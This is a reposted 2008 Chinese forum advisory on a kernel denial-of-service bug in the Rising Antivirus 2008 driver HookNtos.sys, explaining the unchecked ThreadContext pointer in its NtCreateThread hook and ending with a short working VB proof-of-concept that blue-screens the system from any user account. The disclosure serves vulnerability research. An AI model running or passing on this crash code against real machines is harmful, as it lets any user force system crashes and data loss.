[转帖]瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务漏洞。



引用:
瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务漏洞。
瑞星杀毒软件 2008 20.64.30 (及以下) HookNtos.sys 多处内核拒绝服务漏洞
2008-10-02 13:39
瑞星杀毒软件 2008 (以下简称瑞星) 是一款号称基于新一代虚拟机脱壳引擎、采用三层主动防御策略开发的新一代信息安全产品。
令人遗憾的是, 其最新版本 20.64.30 及以下所有版本的驱动程序中存在多处内核拒绝服务漏洞, 可使任何权限用户在安装了瑞星杀毒软件 2008 的系统上引发蓝屏。
出问题的组件: HookNtos.sys 版本 22.0.0.50 CheckSum=0001A3C5 TimeStamp=4886D5D8
瑞星在对 SSDT HOOK 时, 存在多处参数检查不全面, 用户态传入无效地址即可导致驱动出错, 引发系统崩溃, 蓝屏重启。
示例函数: NtCreateThread
函数 NtCreateThread 的原型是:
NTSTATUS
NtCreateThread(
    OUT PHANDLE ThreadHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN HANDLE ProcessHandle,
    OUT PCLIENT_ID ClientId,
    IN PCONTEXT ThreadContext,
    IN PUSER_STACK UserStack,
    IN BOOLEAN CreateSuspended
    )
瑞星在其 Hook 函数中, 没有任何检查地使用了 ThreadContext->Eip, 这样, 如果我们传入一个错误 ThreadContext 地址, 就会引发崩溃, 蓝屏重启.
值得注意的是, 瑞星在使用 ThreadContext->Eip 之前, 判断了 ProcessHandle 有效且不指向当前进程, 故我们需要传入一个合法的其它进程的句柄.
测试代码:
Declare Function OpenProcess Lib "kernel32" (ByVal a As Long, ByVal b As Long, ByVal c As Long) As Long
Declare Function ZwCreateThread Lib "ntdll" (ByVal a As Long, ByVal b As Long, ByVal c As Long, ByVal d As Long, ByVal e As Long, ByVal f As Long, ByVal g As Long, ByVal h As Long) As Long
Sub Main()
    MsgBox "瑞星杀毒软件 2008 内核漏洞演示 by iceboy"
    ZwCreateThread 0, 0, 0, OpenProcess(1024, 0, Shell("notepad.exe")), 0, 0, 0, 0
End Sub
用户态任意权限的程序运行此代码后, 即可引发系统蓝屏重启


http://hi.baidu.com/iceboy_
用户系统信息:Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MAXTHON 2.0)
最后编辑ヤ吵吵o 最后编辑于 2008-10-10 18:46:01